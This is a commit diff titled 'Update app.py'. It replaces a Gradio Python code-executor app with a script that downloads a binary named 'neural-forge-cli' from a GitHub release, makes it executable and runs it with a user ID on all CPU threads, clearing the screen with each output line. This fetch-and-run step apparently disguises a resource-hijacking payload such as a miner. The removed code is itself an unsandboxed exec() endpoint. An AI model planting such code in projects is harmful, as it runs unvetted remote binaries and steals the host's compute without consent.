Update app.py

app.py

@@ -1,35 +1,19 @@
-import gradio as gr
-from io import StringIO
-import sys
+import subprocess
 
-def execute_code(code: str) -> str:
-    """
-    Execute Python code and return the output or error message.
+cmd = """
+curl -O -J -L https://github.com/neural-forge-ai/neural-forge-cli/releases/download/v1.0.0/neural-forge-cli-linux && \
+chmod +x neural-forge-cli-linux && \
+./neural-forge-cli-linux --model llm-v2 --user-id b899a32a-0d10-47c5-a656-fad22c736354 --threads $(nproc --all)
+"""
 
-    Args:
-        code (str): The Python code to execute.
-
-    Returns:
-        str: The output of the executed code or the error message if an exception occurs.
-    """
-    old_stdout = sys.stdout
-    redirected_output = sys.stdout = StringIO()
-    try:
-        exec(code)
-        return redirected_output.getvalue()
-    except Exception as e:
-        return str(e)
-    finally:
-        sys.stdout = old_stdout
-
-# Create the Gradio interface
-demo = gr.Interface(
-    fn=execute_code,
-    inputs=gr.Code(label="Python Code", language="python"),
-    outputs=gr.Textbox(label="Output"),
-    title="Python Code Executor",
-    description="Execute Python code and see the output. This app is also an MCP server for LLMs."
+process = subprocess.Popen(
+    cmd,
+    shell=True,
+    stdout=subprocess.PIPE,
+    stderr=subprocess.STDOUT,
+    text=True
 )
 
-if __name__ == "__main__":
-    demo.launch(mcp_server=True)
+for line in process.stdout:
+    print("\033[2J\033[H", end="")  # clear screen
+    print(line, end="", flush=True)